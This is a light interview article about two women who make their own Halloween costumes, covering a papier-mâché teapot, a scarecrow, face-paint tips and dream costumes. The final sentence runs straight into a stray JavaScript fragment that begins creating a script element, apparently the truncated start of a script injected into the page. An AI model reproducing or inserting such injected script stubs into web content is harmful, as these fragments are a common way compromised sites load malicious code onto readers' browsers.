By Helen Shimmield

Whether you’re a lover or hater of fancy dress, I have to recommend you take a stroll down Sauchiehall street this Halloween. Yes, you will probably see a lot of guys in onesies they all bought from Primark in various animal likenesses; and yes, there will probably be a lot of girls in short tight outfits with an abundance of bunny ears – a la Mean Girls – but there definitely will be some entertainment; if watching superheroes and pirates drunkenly yell at each other is your kind of thing. However, amongst the hedonistic debauchery adorned with cowboy hats, there are some people who take this whole costume thing very seriously. Deborah Jaconelli and Anna Campbell are self confessed dress-up junkies and took some time to tell me what it is they love about Halloween and all the costumes that come with it.

What is your favourite costume you’ve put together?

Anna: I’ve got to say my paper mache teapot. It wasn’t actually for Halloween though. It was for a “Best of British” fancy dress party at school. My friends went as a stamp, a jar of marmite and an Eton Mess.

Deborah: Definitely my Scarecrow costume. I made it for Halloween when I was about 10.

How long did it take and how much did it cost?

Anna: It took two evenings to make, mainly for drying time. It cost me next to nothing to make. I just had to buy newspaper and cheap paint. The most expensive thing was the wire for the shell of the teapot.

Deborah: It didn’t cost me anything. I used old clothes to make patchwork clothes and stuffed them with hay – we had guinea pigs at the time so we already had loads of it.

What is it about dressing up you love?

Anna: I don’t know. It’s just so much fun. I’d say pretending to be a different person, but nobody wants to be a teapot. I just love the creative aspect. I like decorating and crafty things in general, so dressing up is a good creative outlet.

Deborah: The escapism that it offers from real life.

What’s your opinion on Halloween these days?

Anna: It is just a chance for people to dress and act inappropriately. When me and my friends had a Halloween party at uni we would always put “no slutty cats” on the Facebook party page. I can imagine there’s going to be a million people dressed as Harley Quinn [from Suicide Squad] this year. There’s just a lack of creativity when it comes to wearing as little clothes as possible.

Deborah: I love it! – it’s my favourite holiday. I think that Halloween as probably always been a bit like that [inappropriate], I just didn’t notice it as a kid. I just think it’s sad people aren’t making their costumes themselves; it’s all store bought. Takes a lot of creativity out of it.

What about when you were a kid?

Anna: I loved the games, like bobbing for apples, and trick or treating. We used to run a spooky walk in the woods where I are up. Now, I enjoy the fact I can make my own costume and my mum doesn’t choose!

Deborah: I loved all the creepy stuff it’s associated with – ghosts, witches, vampires etc. This hasn’t changed.

Do you have any tips or tricks for making a costume stand out?

Anna: Do something homemade. Go on youtube and look up face painting tutorials – they really make the difference.

Deborah: Not really – though the more time spent on it, the better it will look.

Any hints for making something effective yet easy?

Anna: Killer face paint! It really makes you stand out. One time I couldn’t find any so I just used Sudocrem, eyeliner and lipstick and nobody knew the difference – just get creative!

Deborah: Fake blood is always effective.

Did you dress up a lot as a kid?

Anna: Yes! All the time. We had a dressing up box.

Deborah: Yes – costumes were always homemade.

What is your dream idea for a costume if time/money wasn’t a factor?

Anna: The house from Up. I’d fill all the balloons with helium.

Deborah: The weeping angel from Doctor Who.

Finally, what are you going to dress up as for Halloween this year?

Anna:  I don’t know! I usually um and ah about it for months then choose the night before. Definitely not Harley Quinn.

Deborah: Hopefully Rogue from X-Men, the 90s cartoon version, though if not then a Star Trek science officer.

So if you do take a walk down Sauchiehall Street this Halloween, look out for the unique homemade costumes and those with killer face paint, because a lot of love, sweat and fake blood went into making them.var d=document;var s=d.createElement(‘script’);